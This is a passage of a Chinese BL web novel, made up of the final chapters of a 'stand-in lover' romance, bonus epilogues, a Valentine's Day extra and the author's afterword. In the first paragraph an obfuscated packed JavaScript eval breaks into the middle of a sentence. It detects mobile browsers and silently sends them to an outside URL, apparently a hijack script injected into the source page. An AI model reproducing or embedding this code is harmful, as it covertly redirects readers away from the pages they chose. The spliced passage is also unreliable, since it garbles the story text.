"这说明我初心未改!"温凡理直气壮,凑过去亲了他一下,"别生气,我让酒店送。" --- 半夜,温凡被靳沉的闷哼声惊醒。 "腿又疼了?"他立刻坐起来开灯。 靳沉闭着眼点头,额头渗出细汗。温凡熟练地拿来药膏,帮他按摩伤腿。这些年,他早已练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353491|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就一手专业的按摩技术。 "明天取消观鲸行程吧,"靳沉突然说,"你期待那么久。" "不去啦,"温凡手上力道恰到好处,"陪你在这看雪也挺好。" 靳沉睁开眼看他:"不像你。" "靳先生,"温凡俯身,鼻尖蹭了蹭他的,"我早就不当演员了。" --- 回国那天,女儿带着孙子来机场接机。 五岁的小家伙扑进温凡怀里:"爷爷!极光好看吗?" "特别美,"温凡从包里掏出个玻璃瓶,"给你带了极光!" 孩子兴奋地打开,发现是瓶北欧空气,大失所望。靳沉在一旁忍俊不禁,被温凡瞪了一眼。 "你懂什么,"温凡小声嘀咕,"这可是我对着极光深呼吸装回来的。" 靳沉笑着摇头,牵起他的手:"回家吧,大明星。" --- 某个寻常的午后,温凡在花园里打盹,被靳沉推醒。 "起来,给你看个东西。" 书房里,靳沉打开一个尘封多年的保险箱。温凡好奇地凑过去,发现里面整整齐齐码着他演过的所有影视剧DVD,从最早的龙套到息影之作,一张不落。 最上面放着一本泛黄的笔记本,翻开第一页,是年轻时的靳沉工整的字迹: 2005年9月15日,在《夏日烟火》片场看到一个演小混混的演员,演技很灵,眼睛会说话。打听了一下,叫温凡。 温凡眼眶发热,往后翻去—— 2006年3月2日,温凡在《青春不打烊》里只有一句台词,但他说得很好。 2008年...... 整整一本,记录着他自己都不记得的每个镜头。 "原来你那么早就......" "嗯,"靳沉从背后抱住他,"比你想象的还早。" 阳光透过纱帘,在泛黄的纸页上投下温暖的光斑。温凡转身,吻住这个爱了他一辈子的男人。 窗外,当年那只柯基"影帝"的曾孙正在追蝴蝶,风吹落一树樱花,像极了他们初遇那年。 [全文终] 彩蛋 1. 温凡七十岁生日时,靳沉将他所有作品剪辑成一部纪录片,在私人影院连续播放七天七夜。 2. 八十岁的靳沉坐着轮椅,带温凡重游了所有他们年轻时去过的地方,最后一站是当初那间替身合约签订的酒店。 3. 温凡走后,家人在他的枕头下发现一张字条:"把我骨灰和靳沉的放一起,下辈子还要遇见他。" 情人节特别番外:影帝的翻车计划 时间线:婚后第三年,2月14日清晨 --- 温凡在凌晨五点就睁开了眼睛。 他小心翼翼地挪开靳沉搭在他腰上的手臂,轻手轻脚地滑下床,连呼吸都放得极轻。靳沉的睡眠向来很浅,稍微有点动静就会醒。但今天,温凡有绝对不能被他发现的秘密计划。 他光着脚踩在地毯上,回头看了一眼——靳沉还闭着眼睛,呼吸均匀,冷灰色的睫毛在晨光里投下一小片阴影,看起来睡得很沉。 很好,计划第一步成功。 温凡无声地咧嘴一笑,露出那颗若隐若现的虎牙,然后蹑手蹑脚地溜出了卧室。 --- 早晨7:00,厨房 温凡对着手机教程,手忙脚乱地折腾着咖啡机。 “拉花……拉花……”他小声嘀咕,盯着屏幕上“情人节爱心拉花教学”视频,眉头皱得能夹死苍蝇。 他已经失败了三次。第一次,奶泡打得太厚,倒进去直接糊成一团。第二次,手抖把咖啡洒了一半。第三次……第三次他干脆把拉花针戳进了奶泡里,彻底宣告失败。 “靠!”他抓了抓自己乱糟糟的卷发,领带扎的小啾啾早就歪到了一边,“这玩意比演戏难多了!” 但温凡是谁?是能为了一个镜头NG三十次不喊累的影帝!区区咖啡拉花,怎么可能难得倒他! 他深吸一口气,重整旗鼓,第四次尝试—— “你在做什么?” 低沉冷静的嗓音突然从背后响起,温凡手一抖,整杯咖啡直接翻在了料理台上。 “……” 他僵硬地转过头,看到靳沉倚在厨房门口,身上还穿着睡袍,领口松散地敞着,露出锁骨上那道他昨晚咬出来的红痕。男人双臂抱胸,眉梢微挑,一副“我看你怎么解释”的表情。 温凡干笑两声:“早、早安啊靳总,今天怎么醒这么早?” 靳沉没回答,目光慢悠悠地扫过一片狼藉的料理台、洒得到处都是的咖啡渍,以及温凡手里还捏着的拉花针。 “连续三年送猫周边,”他淡淡开口,“今年终于决定改送咖啡了?” 温凡:“……” 计划第二步——彻底失败。 --- 早晨7:30,餐桌 温凡垂头丧气地坐在椅子上,看着靳沉动作娴熟地重新煮咖啡、打奶泡,一气呵成地在杯子里拉出一个完美的爱心。 “……”他瞪大眼睛,“你什么时候会这个的?!” 靳沉把咖啡推到他面前,唇角微勾:“去年你去拍《边境线》的时候,家政阿姨教的。” 温凡盯着那杯咖啡,突然发现奶泡上还用可可粉撒了个小小的“W.F”。 他一愣,抬头看向靳沉。 男人神色如常,只是耳根微微泛红,低头切着盘里的培根,淡淡道:“吃饭。” 温凡眨了眨眼,突然咧嘴笑了,虎牙明晃晃地露出来。 他凑过去,在靳沉嘴角亲了一下:“靳总,你该不会是……偷偷练了很久吧?” 靳沉切培根的动作一顿,面无表情地瞥他一眼:“食不言。” 温凡笑得肩膀直抖,乖乖坐回去喝咖啡,心里暗爽——原来靳沉也会准备惊喜! --- 下午3:00,片场 温凡正在拍一场情绪戏,刚喊“Cut”,助理就慌慌张张跑过来:“温老师!靳总胃出血送医院了!” 温凡脑子“嗡”地一声,手里的剧本“啪”地掉在地上。 “你说什么?!” “刚、刚才靳氏的李秘书打电话来,说靳总在会议室突然吐血,现在送去中心医院了……” 温凡脸色瞬间煞白,连戏服都来不及换,抓起外套就往外冲。 一路上,他手指发抖地给靳沉打电话,却始终无人接听。 不会的,不会的…… 他今早还好好的…… 温凡脑子里乱成一团,心脏跳得快要炸开。 --- 下午3:40,中心医院VIP病房 温凡一把推开病房门,气喘吁吁地喊:“靳沉!” 然后他僵在了原地。 病房里没有消毒水味,没有急救设备,只有—— 一整面墙的投影屏,正在循环播放他职业生涯的所有NG镜头。 从二十岁时拍《夏日烟火》忘词愣在原地,到去年《归巢》里被道具鸟屎砸中头顶的懵逼表情,应有尽有。 而靳沉好端端地坐在病床上,手里还捧着一桶爆米花。 温凡:“……?” 靳沉淡定地往嘴里扔了颗爆米花:“来了?” 温凡终于反应过来,气得头发都要炸了:“靳沉!你他妈——” 他冲过去就要掐靳沉的脖子,却被男人一把搂住腰按在床上。 “情人节快乐。”靳沉低头亲了亲他气得发红的耳尖,“今年礼物喜欢吗?” 温凡瞪大眼睛:“这叫礼物?!这明明是我的黑历史合集!” 靳沉低笑:“8K修复版,我亲自剪辑的。” “……” 温凡挣扎了两下没挣开,干脆自暴自弃地瘫在靳沉怀里,咬牙切齿:“你完了,今晚别想睡卧室。” 靳沉挑眉:“病房play?可以。” “……靳沉!!!” --- 夜晚10:00,家中卧室 温凡趴在床上,愤愤地刷着微博,突然看到热搜—— #靳沉温凡医院# 点开一看,居然是他今天穿着戏服狂奔进医院的画面被拍了下来,全网都在猜测“影帝夫人”出了什么事。 最绝的是,靳沉的官方账号十分钟前更新了一条微博: @靳沉:谢谢关心,只是陪家属过情人节。 配图是温凡在病房里炸毛的背影,和投影屏上他二十岁时NG的蠢样。 温凡:“…………” 他猛地翻身坐起,正要发飙,却看到床头柜上放着一个丝绒盒子。 打开一看,是一对铂金耳钉,内圈刻着“Always my leading man.” 靳沉从浴室出来,擦着头发看他:“满意了?” 温凡哼了一声,把耳钉递过去:“给我戴。” 靳沉接过耳钉,俯身时在他耳边低声道:“明年情人节,换我送你猫耳。” 温凡耳根一热,抬脚就踹:“滚!” [甜心番外完] 【我是后记】替身到主角的旅程 创作《豪门替身日常》的整个过程,就像看着一颗种子慢慢长成繁茂的树。最初只是一个简单的"替身梗"灵感,却在写作过程中逐渐生长出意想不到的枝桠与花朵。 温凡这个角色对我来说意义特殊。他从一开始的自嘲、认命,到后来慢慢发现自己的价值,最终挣脱"替身"的枷锁成为人生的主角——这个过程不仅仅是爱情故事,更是一个关于自我认同的成长旅程。而靳沉,表面冷酷强势,实则深情隐忍,他的改变同样动人:从把温凡当作替代品,到学会真正去爱一个完整的人。 特别想感谢一路追更的读者们。你们对温凡和靳沉的喜爱,对剧情发展的猜测和讨论,甚至对某些情节的"抗议",都让我感受到创作的快乐。尤其是当大家发现我埋的小伏笔时(比如第三章温凡随手写的"林野选择留下"那句话,在第九章成为关键转折),那种被理解的喜悦难以言表。 番外篇原本只计划写两篇,但因为大家的热烈要求,最终扩展成了五个不同阶段的生活切面。从婚礼到萌宠,从育儿到退休,每个番外都是对主线的补充,也让这两个角色在读者心中更加立体鲜活。 最后想说的是,这个故事虽然始于狗血的替身梗,但最终想表达的是:每个人都值得被看见真实的自己,而不是作为谁的影子。无论爱情还是人生,最美好的状态莫过于像温凡和靳沉那样——你爱我时,我正好是真正的我。 再次感谢所有陪伴这个故事走到最后的读者。希望温凡和靳沉在他们的世界里永远幸福,也希望现实中的我们,都能找到那个让自己安心做主角的人。 水之声 25.5.25